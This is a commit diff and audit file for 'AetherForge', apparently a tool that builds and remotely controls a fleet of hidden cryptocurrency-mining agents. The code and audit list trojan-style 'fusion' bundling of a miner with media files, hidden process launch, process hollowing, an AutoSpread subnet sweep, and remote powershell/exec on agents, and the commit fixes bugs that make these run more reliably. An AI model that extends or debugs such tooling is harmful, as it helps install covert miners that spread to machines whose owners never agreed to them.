Fix bugs found in full security and stability audit.
Harden artifact paths and fusion uploads, repair pool reconnect and login ID tracking, fix agent/fusion/frontend regressions, and refresh PROBLEMS.md with the full findings list.
This commit is contained in:
124
PROBLEMS.md
124
PROBLEMS.md
@@ -1,75 +1,123 @@
|
||||
# AetherForge — Problem Audit
|
||||
|
||||
Findings grouped by severity. Updated after bug-sweep pass.
|
||||
Findings grouped by severity. Updated after full bug-hunt pass (May 2026).
|
||||
|
||||
**Last verified:** `go test ./...` in `server/` and `agent/`, `npm run build` in `server/web/`, double-click `run.bat`.
|
||||
**Last verified:** `go test ./...` in `server/` and `agent/`, `npm test && npm run build` in `server/web/`.
|
||||
|
||||
---
|
||||
|
||||
## Fixed (recent passes)
|
||||
## Fixed (this pass)
|
||||
|
||||
| ID | Fix |
|
||||
|----|-----|
|
||||
| B1 | **Pool jobs stop after disconnect** — `readLoop` now waits for reconnect instead of exiting; login tracked by `loginRequestID` not hardcoded `1` |
|
||||
| B2 | **Fusion upload disk exhaustion** — `io.LimitReader` + reject unknown upload size |
|
||||
| B3 | **Artifact path traversal** — `safePathUnderRoot()`; `export_dir` limited to `fusion-deliverables/<title>/`; build ID validated before serve |
|
||||
| B4 | **Multipart forge without fusion** — `prep_exe` only required when `fusion_enabled` |
|
||||
| B5 | **Build succeeds when DB insert fails** — forge now fails if `InsertBuild` errors |
|
||||
| B6 | **Query limit DoS** — stats/shares `limit` capped at 1000 |
|
||||
| B7 | **SPA static `..` traversal** — blocked in router fallback |
|
||||
| B8 | **React 18 + R3F v9 crash** — pinned `@react-three/fiber@8` / `drei@9` (blank black screen) |
|
||||
| B9 | **SessionGate stale token on network error** — catch sets `authed=false` |
|
||||
| B10 | **AgentsPage notes/tags wiped while typing** — drafts sync only on agent switch |
|
||||
| B11 | **WS reconnect timer stacking** — clear timer + close existing socket before reconnect |
|
||||
| B12 | **Dashboard bulk select limited to top 12** — “Select all filtered” in FleetToolbar |
|
||||
| B13 | **Dashboard bulk errors silent** — catch + alert |
|
||||
| B14 | **AI `restart_miner` missing `.exe`** — normalize image name for taskkill/stat/start |
|
||||
| B15 | **AI reinstall `http.Get` no timeout** — uses `httpClient` |
|
||||
| B16 | **Fusion `worker_first` blocked forever** — worker launches async; media runs immediately |
|
||||
| B17 | **Agent empty `new_job`** — logs error and re-requests job |
|
||||
| B18 | **Agent WS read deadline** — `PongHandler` extends deadline on server ping |
|
||||
|
||||
---
|
||||
|
||||
## Fixed (earlier passes)
|
||||
|
||||
| ID | Fix |
|
||||
|----|-----|
|
||||
| C1 | `BroadcastServerLog` on `WSHub` |
|
||||
| C2 | `EncodeToString` in agent download handler |
|
||||
| C3 | `AgentRemoteActions` legacy props (`agent`, `compact`) |
|
||||
| C3 | `AgentRemoteActions` legacy props |
|
||||
| C4 | `useWebSocket` `latestMessage` + Agents detail wiring |
|
||||
| C5 | Agent handlers: `ps`, `netstat`, `users`, `software`, `screenshot` |
|
||||
| C6 | `NewMeshNode(c)` in `NewAgentClient` |
|
||||
| H1 | WS reconnect: only mark offline if closing conn is still active |
|
||||
| H2 | WS pre-auth guard on `stats`, `submit_share`, `get_job`, `log_tail`, `command_result` |
|
||||
| H3 | Share submit via async pool queue + `go proxy.SubmitShare` in read loop |
|
||||
| H2 | WS pre-auth guard on agent message types |
|
||||
| H3 | Share submit via async pool queue |
|
||||
| H4 | Fleet broadcast `all` fails when zero agents connected |
|
||||
| H5–H8 | AI: build ID reinstall, uptime, sleep parse, decide HTTP/error field |
|
||||
| H10 | Download uses `EncodeToString` |
|
||||
| H13 | `run.bat` fails on frontend build error; kills stale server before bind |
|
||||
| M3 | `stats_update` includes memory, uptime, shares (server + web hook) |
|
||||
| M3 | `stats_update` includes memory, uptime, shares |
|
||||
| M5 | Removed blocking 800ms sleep in `GetAgentLog` |
|
||||
| M8 | `GetEngine` lock pattern simplified |
|
||||
| M10 | CORS: `AllowCredentials: false` with `AllowedOrigins: *` |
|
||||
| M11 | Blueprint delete returns boolean `success` |
|
||||
| — | Deleted corrupt empty `server/internal/ollama/main.go` and root `main.go` (broke `go build`) |
|
||||
| — | Fleet filters, bulk commands, per-agent notes/tags (SQLite) |
|
||||
| — | Ollama prompt: `reinstall_miner` uses `build_id` |
|
||||
| — | Forge types/defaults include `process_hollowing`, `mesh_p2p`, `auto_spread` (default false) |
|
||||
|
||||
---
|
||||
|
||||
## Still open
|
||||
## Still open — Critical / security
|
||||
|
||||
### Critical / security
|
||||
| ID | Issue | Notes |
|
||||
|----|-------|-------|
|
||||
| S1 | **Unauthenticated build downloads** | `/api/v1/builds/{id}/download` and `/artifact/` bypass auth (intentional for agent reinstall — UUID is the secret) |
|
||||
| S2 | **Unauthenticated agent WebSocket** | `/ws/agent` — any client can claim any `agent_id` |
|
||||
| S3 | **Unauthenticated dashboard WebSocket** | `/ws/dashboard` — full fleet telemetry without login |
|
||||
| S4 | **Unauthenticated AI endpoints** | `/api/v1/agent/decide`, `/report`, `/heartbeat` — SSRF via caller-supplied Ollama URL |
|
||||
| S5 | **Default credentials in source** | `drjones` / `czapiewski` until `data/users.json` exists |
|
||||
| S6 | **Plaintext passwords** | `users.json` stores cleartext; any authed user can POST `/users` |
|
||||
| S7 | **Remote code execution via API** | Authenticated users can send `powershell`/`exec`/`upload` to any online agent — by design, treat as root |
|
||||
|
||||
| ID | Issue |
|
||||
|----|-------|
|
||||
| C7 | Partial — REST `/api/v1` requires basic auth; dashboard WebSocket + SPA are open. Use **Calibrate → Save session login** so fetch calls authenticate. |
|
||||
| C8 | Unauthenticated remote code execution (`powershell`, `exec`, `upload`) on agents that connect to your server |
|
||||
---
|
||||
|
||||
### High (intentional / deploy-time)
|
||||
## Still open — High
|
||||
|
||||
| ID | Issue |
|
||||
|----|-------|
|
||||
| H9 | `upload_log` returns content in tool report only (no dedicated log ingest API) |
|
||||
| H11 | `AutoSpread` still runs when baked `true` in forge |
|
||||
| H12 | Process hollowing available with `-tags hollow` + forge flag |
|
||||
| ID | Issue | Notes |
|
||||
|----|-------|-------|
|
||||
| H9 | `upload_log` returns content in tool report only | No dedicated log ingest API |
|
||||
| H11 | `AutoSpread` runs when baked `true` in forge | Feature-gated but dangerous if enabled |
|
||||
| H12 | Process hollowing with `-tags hollow` + forge flag | Bounds/reloc issues in `hollow_windows.go` |
|
||||
| H14 | **Partial config PUT corrupts bools** | `mergeConfig` overwrites `UseTLS`, logging flags, etc. with zero values |
|
||||
| H15 | **Agent `conn` data race** | `submitShare` reads `c.conn` without mutex |
|
||||
| H16 | **AI reinstall while running** | `os.Rename` fails on Windows when exe in use |
|
||||
| H17 | **Pool `requestID` / write races** | Concurrent share submits can interleave Stratum lines |
|
||||
| H18 | **WS concurrent writes** | Ping loop vs broadcast on same dashboard connections |
|
||||
|
||||
### Medium / UX
|
||||
---
|
||||
|
||||
| ID | Issue |
|
||||
|----|-------|
|
||||
| M1 | Compact agent list default — expand on click; full detail panel retained |
|
||||
| M6 | Remote actions disabled unless `status === online` (list, detail, dashboard) |
|
||||
| M7 | Row click vs button bubbling (compact uses `stopPropagation`) |
|
||||
| M9 | Fusion uses vendored `go-winres` (module + optional `go install` via run.bat) |
|
||||
## Still open — Medium / UX
|
||||
|
||||
### Low
|
||||
| ID | Issue | Notes |
|
||||
|----|-------|-------|
|
||||
| M1 | Compact agent list default | Expand on click |
|
||||
| M6 | Remote actions disabled unless `online` | By design |
|
||||
| M9 | Fusion uses vendored `go-winres` | Optional via run.bat |
|
||||
| M12 | **Multiple `useWebSocket()` hooks** | Dashboard + Matrix overlay = duplicate connections |
|
||||
| M13 | **`latestWsMessage` drops rapid results** | Only last message kept; command results can be lost |
|
||||
| M14 | **Batch forge no cancel/abort** | State updates after navigate away |
|
||||
| M15 | **Re-forge fusion without re-upload** | `reForgeFromBuild` needs prep file |
|
||||
| M16 | **Earnings estimator race** | Stale API response can overwrite newer estimate |
|
||||
| M17 | **`MaxAgents` TOCTOU** | Limit checked before lock on agent WS auth |
|
||||
| M18 | **`GetAgentLog?refresh=1` blocks** | Up to ~1.8s synchronous sleep per request |
|
||||
| M19 | **`SetJob` non-atomic** | Partial engine update on multi-thread miners |
|
||||
| M20 | **Autospread goroutine storm** | Up to ~254 goroutines per /24 sweep |
|
||||
|
||||
---
|
||||
|
||||
## Still open — Low
|
||||
|
||||
| ID | Issue |
|
||||
|----|-------|
|
||||
| L1 | Dead CSS `.agent-actions` in `FleetPanels.css` |
|
||||
| L2 | Duplicate CSS imports on Dashboard/Agents |
|
||||
| L3 | WS payloads typed in `types/ws.ts` + `api/ws_types.go` (partial — not all message types) |
|
||||
| L3 | WS payloads typed in two places (`types/ws.ts` + Go) |
|
||||
| L4 | No integration tests for remote actions |
|
||||
| L5 | Mesh P2P requires build tag `p2p` for full libp2p |
|
||||
| L5 | Mesh P2P requires build tag `p2p` |
|
||||
| L6 | `terminalLog` / `agentLogs` grow without bound |
|
||||
| L7 | Matrix overlay restarts animation on every share |
|
||||
| L8 | Settings config import shallow-merge |
|
||||
| L9 | Blueprint files written mode `0644` |
|
||||
| L10 | XOR media crypto — weak confidentiality by design |
|
||||
|
||||
---
|
||||
|
||||
@@ -81,3 +129,13 @@ cd ..\agent && go test ./... && go build .
|
||||
cd ..\server\web && npm test && npm run build
|
||||
run.bat
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Priority for next pass
|
||||
|
||||
1. Agent WS token auth (bind `agent_id` to build secret)
|
||||
2. Dashboard WS auth (match REST Basic auth)
|
||||
3. Config merge with pointer types / explicit fields
|
||||
4. Shared WebSocket context (single connection app-wide)
|
||||
5. Process hollowing bounds + reloc (`hollow_windows.go`)
|
||||
|
||||
@@ -475,20 +475,28 @@ func (a *AIRunner) isProcessRunning(name string) bool {
|
||||
if name == "" {
|
||||
return false
|
||||
}
|
||||
// Use tasklist on Windows to check if process is running
|
||||
cmd := exec.Command("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", name))
|
||||
imName := name
|
||||
if !strings.HasSuffix(strings.ToLower(imName), ".exe") {
|
||||
imName += ".exe"
|
||||
}
|
||||
cmd := exec.Command("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", imName))
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(string(output), name)
|
||||
return strings.Contains(string(output), imName)
|
||||
}
|
||||
|
||||
func (a *AIRunner) restartMiner(processName string) (string, error) {
|
||||
log.Printf("[AI] Restarting miner: %s", processName)
|
||||
|
||||
imName := processName
|
||||
if !strings.HasSuffix(strings.ToLower(imName), ".exe") {
|
||||
imName += ".exe"
|
||||
}
|
||||
|
||||
// Kill existing process
|
||||
killCmd := exec.Command("taskkill", "/F", "/IM", processName)
|
||||
killCmd := exec.Command("taskkill", "/F", "/IM", imName)
|
||||
killOutput, _ := killCmd.CombinedOutput()
|
||||
|
||||
// Start new process from install directory
|
||||
@@ -497,7 +505,7 @@ func (a *AIRunner) restartMiner(processName string) (string, error) {
|
||||
return string(killOutput), fmt.Errorf("cannot get install directory: %w", err)
|
||||
}
|
||||
|
||||
exePath := filepath.Join(installDir, processName)
|
||||
exePath := filepath.Join(installDir, imName)
|
||||
if _, err := os.Stat(exePath); os.IsNotExist(err) {
|
||||
return string(killOutput), fmt.Errorf("executable not found: %s", exePath)
|
||||
}
|
||||
@@ -524,7 +532,7 @@ func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
|
||||
exePath := filepath.Join(installDir, a.cfg.EffectiveProcessName()+".exe")
|
||||
|
||||
// Download the new binary
|
||||
resp, err := http.Get(downloadURL)
|
||||
resp, err := a.httpClient.Get(downloadURL)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("download failed: %w", err)
|
||||
}
|
||||
|
||||
@@ -112,6 +112,10 @@ func (c *AgentClient) connectLoop() error {
|
||||
c.conn = conn
|
||||
defer conn.Close()
|
||||
|
||||
conn.SetPongHandler(func(string) error {
|
||||
return conn.SetReadDeadline(time.Now().Add(90 * time.Second))
|
||||
})
|
||||
|
||||
if err := c.authenticate(); err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -183,12 +187,24 @@ func (c *AgentClient) authenticate() error {
|
||||
func (c *AgentClient) handleMessage(msg Message) {
|
||||
switch msg.Type {
|
||||
case "new_job":
|
||||
var raw map[string]json.RawMessage
|
||||
if err := json.Unmarshal(msg.Payload, &raw); err != nil {
|
||||
log.Printf("[agent] bad job payload: %v", err)
|
||||
return
|
||||
}
|
||||
if errMsg, ok := raw["error"]; ok {
|
||||
log.Printf("[agent] job error from server: %s", string(errMsg))
|
||||
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||
return
|
||||
}
|
||||
var j job.Job
|
||||
if err := json.Unmarshal(msg.Payload, &j); err != nil {
|
||||
log.Printf("[agent] bad job payload: %v", err)
|
||||
return
|
||||
}
|
||||
if j.Blob == "" {
|
||||
log.Printf("[agent] empty job blob — requesting job again")
|
||||
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||
return
|
||||
}
|
||||
log.Printf("[agent] new job %s height=%d", j.ID, j.Height)
|
||||
|
||||
@@ -113,8 +113,7 @@ func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
|
||||
launchWorker(workerPath)
|
||||
case "worker_first":
|
||||
launchWorker(workerPath)
|
||||
waitProcess(workerPath)
|
||||
runPrimary()
|
||||
go runPrimary()
|
||||
default:
|
||||
launchWorker(workerPath)
|
||||
var wg sync.WaitGroup
|
||||
@@ -219,7 +218,9 @@ func launchWorker(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
applyHiddenStart(cmd)
|
||||
_ = cmd.Start()
|
||||
if err := cmd.Start(); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "fusion: worker start failed: %v\n", err)
|
||||
}
|
||||
}
|
||||
|
||||
func waitProcess(path string) {
|
||||
|
||||
@@ -60,6 +60,9 @@ func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) {
|
||||
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
|
||||
limit = l
|
||||
}
|
||||
if limit > 1000 {
|
||||
limit = 1000
|
||||
}
|
||||
samples, err := h.db.GetHashrateHistory(id, limit)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
@@ -78,6 +81,9 @@ func (h *Handler) GetRecentShares(w http.ResponseWriter, r *http.Request) {
|
||||
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
|
||||
limit = l
|
||||
}
|
||||
if limit > 1000 {
|
||||
limit = 1000
|
||||
}
|
||||
shares, err := h.db.GetRecentShares(limit)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
|
||||
@@ -199,6 +199,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/*", func(w http.ResponseWriter, r *http.Request) {
|
||||
// Clean the path
|
||||
path := strings.TrimPrefix(r.URL.Path, "/")
|
||||
if path == "" || strings.Contains(path, "..") {
|
||||
w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate")
|
||||
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
|
||||
return
|
||||
}
|
||||
fullPath := filepath.Join(webRoot, path)
|
||||
|
||||
// Check if the file exists
|
||||
|
||||
@@ -176,27 +176,31 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
file, header, err := r.FormFile("prep_exe")
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
|
||||
return
|
||||
if req.FusionEnabled {
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
if req.FusionMediaBaseName == "" && header.Filename != "" {
|
||||
req.FusionMediaBaseName = header.Filename
|
||||
}
|
||||
if req.FusionOutputName == "" && header.Filename != "" {
|
||||
req.FusionOutputName = header.Filename
|
||||
}
|
||||
if req.FusionPayloadKind == "" {
|
||||
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||||
}
|
||||
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||||
return
|
||||
}
|
||||
prepPath = saved
|
||||
cleanupPrep = remove
|
||||
} else if err == nil {
|
||||
file.Close()
|
||||
}
|
||||
defer file.Close()
|
||||
if req.FusionMediaBaseName == "" && header.Filename != "" {
|
||||
req.FusionMediaBaseName = header.Filename
|
||||
}
|
||||
if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" {
|
||||
req.FusionOutputName = header.Filename
|
||||
}
|
||||
if req.FusionPayloadKind == "" {
|
||||
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||||
}
|
||||
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||||
return
|
||||
}
|
||||
prepPath = saved
|
||||
cleanupPrep = remove
|
||||
} else {
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
|
||||
@@ -327,19 +331,28 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
|
||||
buildID := chi.URLParam(r, "id")
|
||||
if _, err := h.db.GetBuild(buildID); err != nil {
|
||||
http.Error(w, "Build not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
name := sanitizeFileName(chi.URLParam(r, "name"))
|
||||
if name == "" {
|
||||
if name == "" || strings.Contains(name, "..") {
|
||||
http.Error(w, "Invalid artifact name", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
buildDir := filepath.Join(h.dataDir, "builds", buildID)
|
||||
path := filepath.Join(buildDir, name)
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
// Paired media may live in fusion export dir — try deliverables folder from query
|
||||
if exportDir := strings.TrimSpace(r.URL.Query().Get("export_dir")); exportDir != "" {
|
||||
path = filepath.Join(exportDir, name)
|
||||
path, err := safePathUnderRoot(buildDir, name)
|
||||
if err != nil {
|
||||
if title := strings.TrimSpace(r.URL.Query().Get("export_dir")); title != "" {
|
||||
title = sanitizeFileName(filepath.Base(title))
|
||||
deliverablesRoot := filepath.Join(h.projectRoot, FusionDeliverablesDir)
|
||||
path, err = safePathUnderRoot(filepath.Join(deliverablesRoot, title), name)
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
http.Error(w, "Artifact not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
http.Error(w, "Artifact not found", http.StatusNotFound)
|
||||
return
|
||||
@@ -570,6 +583,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
}
|
||||
if err := h.db.InsertBuild(buildRecord); err != nil {
|
||||
log.Printf("Failed to record build: %v", err)
|
||||
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
resp := BuildResponse{
|
||||
@@ -785,6 +799,9 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
||||
if header.Size > FusionMaxUploadBytes {
|
||||
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
|
||||
}
|
||||
if header.Size < 0 {
|
||||
return "", nil, fmt.Errorf("fusion upload size unknown — retry with a smaller file")
|
||||
}
|
||||
baseName := filepath.Base(header.Filename)
|
||||
if baseName == "" || baseName == "." {
|
||||
return "", nil, fmt.Errorf("fusion upload filename is invalid")
|
||||
@@ -807,7 +824,7 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
written, err := io.Copy(out, file)
|
||||
written, err := io.Copy(out, io.LimitReader(file, FusionMaxUploadBytes+1))
|
||||
out.Close()
|
||||
if err != nil {
|
||||
os.RemoveAll(dir)
|
||||
@@ -1049,6 +1066,30 @@ func sanitizeFileName(name string) string {
|
||||
return replacer.Replace(name)
|
||||
}
|
||||
|
||||
// safePathUnderRoot resolves name under root and rejects traversal escapes.
|
||||
func safePathUnderRoot(root, name string) (string, error) {
|
||||
if name == "" || strings.Contains(name, "..") {
|
||||
return "", fmt.Errorf("invalid path")
|
||||
}
|
||||
cleanName := filepath.Clean(name)
|
||||
if filepath.IsAbs(cleanName) {
|
||||
return "", fmt.Errorf("invalid path")
|
||||
}
|
||||
absRoot, err := filepath.Abs(root)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
full := filepath.Join(absRoot, cleanName)
|
||||
absFull, err := filepath.Abs(full)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if absFull != absRoot && !strings.HasPrefix(absFull, absRoot+string(os.PathSeparator)) {
|
||||
return "", fmt.Errorf("path escapes root")
|
||||
}
|
||||
return absFull, nil
|
||||
}
|
||||
|
||||
func writeJSON(w http.ResponseWriter, status int, v interface{}) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(status)
|
||||
|
||||
@@ -63,7 +63,8 @@ type Proxy struct {
|
||||
conn net.Conn
|
||||
reader *bufio.Reader
|
||||
connected bool
|
||||
requestID int
|
||||
requestID int
|
||||
loginRequestID int
|
||||
currentJob *Job
|
||||
jobSubscribed bool
|
||||
stopCh chan struct{}
|
||||
@@ -260,7 +261,11 @@ func (p *Proxy) SubmitShare(agentID, wallet, jobID, nonce, hash string, onResult
|
||||
}
|
||||
|
||||
func (p *Proxy) authenticate() error {
|
||||
p.mu.Lock()
|
||||
p.requestID++
|
||||
loginID := p.requestID
|
||||
p.loginRequestID = loginID
|
||||
p.mu.Unlock()
|
||||
|
||||
// Login request
|
||||
loginParams := []interface{}{
|
||||
@@ -271,7 +276,7 @@ func (p *Proxy) authenticate() error {
|
||||
|
||||
paramsData, _ := json.Marshal(loginParams)
|
||||
loginReq := StratumRequest{
|
||||
ID: p.requestID,
|
||||
ID: loginID,
|
||||
Method: "login",
|
||||
Params: paramsData,
|
||||
}
|
||||
@@ -317,7 +322,22 @@ func (p *Proxy) readLoop() {
|
||||
}
|
||||
|
||||
p.scheduleReconnect()
|
||||
return
|
||||
// Wait for reconnect before resuming reads (readLoop stays alive).
|
||||
for i := 0; i < 600; i++ {
|
||||
select {
|
||||
case <-p.stopCh:
|
||||
return
|
||||
default:
|
||||
}
|
||||
p.mu.RLock()
|
||||
ok := p.connected && p.reader != nil
|
||||
p.mu.RUnlock()
|
||||
if ok {
|
||||
break
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
line = strings.TrimSpace(line)
|
||||
@@ -367,7 +387,11 @@ func (p *Proxy) handleResponse(resp StratumResponse) {
|
||||
return
|
||||
}
|
||||
|
||||
if resp.ID == 1 {
|
||||
p.mu.RLock()
|
||||
loginID := p.loginRequestID
|
||||
p.mu.RUnlock()
|
||||
|
||||
if resp.ID == loginID {
|
||||
// Login response
|
||||
var loginResult struct {
|
||||
ID string `json:"id"`
|
||||
|
||||
@@ -9,6 +9,8 @@ interface Props {
|
||||
onChange: (next: FleetFilterState) => void;
|
||||
selectedCount: number;
|
||||
onBulkAction: (action: string) => void;
|
||||
onSelectAllFiltered?: () => void;
|
||||
filteredCount?: number;
|
||||
bulkBusy: boolean;
|
||||
}
|
||||
|
||||
@@ -18,6 +20,8 @@ export default function FleetToolbar({
|
||||
onChange,
|
||||
selectedCount,
|
||||
onBulkAction,
|
||||
onSelectAllFiltered,
|
||||
filteredCount,
|
||||
bulkBusy,
|
||||
}: Props) {
|
||||
const tags = collectFleetTags(agents);
|
||||
@@ -78,6 +82,14 @@ export default function FleetToolbar({
|
||||
</label>
|
||||
</div>
|
||||
|
||||
{onSelectAllFiltered && (filteredCount ?? 0) > 0 && selectedCount === 0 && (
|
||||
<div className="fleet-bulk-bar">
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={onSelectAllFiltered}>
|
||||
Select all filtered ({filteredCount})
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{selectedCount > 0 && (
|
||||
<div className="fleet-bulk-bar">
|
||||
<span className="font-tech">{selectedCount} selected</span>
|
||||
|
||||
@@ -11,6 +11,7 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
useEffect(() => {
|
||||
const token = getStoredAuth();
|
||||
if (!token) {
|
||||
setAuthed(false);
|
||||
setReady(true);
|
||||
return;
|
||||
}
|
||||
@@ -19,20 +20,27 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
setAuthed(r.ok);
|
||||
setReady(true);
|
||||
})
|
||||
.catch(() => setReady(true));
|
||||
.catch(() => {
|
||||
setAuthed(false);
|
||||
setReady(true);
|
||||
});
|
||||
}, []);
|
||||
|
||||
const handleLogin = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
setErr('');
|
||||
const token = btoa(`${user}:${pass}`);
|
||||
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
|
||||
if (!res.ok) {
|
||||
setErr('Login failed — check username and password.');
|
||||
return;
|
||||
try {
|
||||
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
|
||||
if (!res.ok) {
|
||||
setErr('Login failed — check username and password.');
|
||||
return;
|
||||
}
|
||||
setStoredAuth(user, pass);
|
||||
setAuthed(true);
|
||||
} catch {
|
||||
setErr('Cannot reach server — check that miner-server is running.');
|
||||
}
|
||||
setStoredAuth(user, pass);
|
||||
setAuthed(true);
|
||||
};
|
||||
|
||||
if (!ready) {
|
||||
|
||||
@@ -35,6 +35,16 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
const connect = useCallback(() => {
|
||||
if (unmounted.current) return;
|
||||
|
||||
if (reconnectTimer.current) {
|
||||
clearTimeout(reconnectTimer.current);
|
||||
reconnectTimer.current = null;
|
||||
}
|
||||
|
||||
const existing = wsRef.current;
|
||||
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
|
||||
existing.close();
|
||||
}
|
||||
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`;
|
||||
|
||||
@@ -48,6 +58,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
ws.onclose = () => {
|
||||
if (unmounted.current) return;
|
||||
setIsConnected(false);
|
||||
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||
reconnectTimer.current = setTimeout(connect, 3000);
|
||||
};
|
||||
|
||||
|
||||
@@ -45,6 +45,12 @@ export default function AgentsPage() {
|
||||
.finally(() => setLoading(false));
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (!selectedAgent) return;
|
||||
setNotesDraft(selectedAgent.notes || '');
|
||||
setTagsDraft((selectedAgent.tags || []).join(', '));
|
||||
}, [selectedAgent?.id]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!isConnected) return;
|
||||
setAgents(liveAgents);
|
||||
@@ -52,8 +58,6 @@ export default function AgentsPage() {
|
||||
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
|
||||
if (updated) {
|
||||
setSelectedAgent(updated);
|
||||
setNotesDraft(updated.notes || '');
|
||||
setTagsDraft((updated.tags || []).join(', '));
|
||||
} else {
|
||||
setSelectedAgent(null);
|
||||
setLogContent('');
|
||||
|
||||
@@ -128,6 +128,9 @@ export default function DashboardPage() {
|
||||
setBulkBusy(true);
|
||||
try {
|
||||
await api.sendBulkCommand(onlineIds, action);
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
alert(err instanceof Error ? err.message : 'Bulk command failed');
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
@@ -269,6 +272,8 @@ export default function DashboardPage() {
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
filteredCount={filteredAgents.length}
|
||||
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
|
||||
onBulkAction={handleBulkAction}
|
||||
bulkBusy={bulkBusy}
|
||||
/>
|
||||
|
||||
Reference in New Issue
Block a user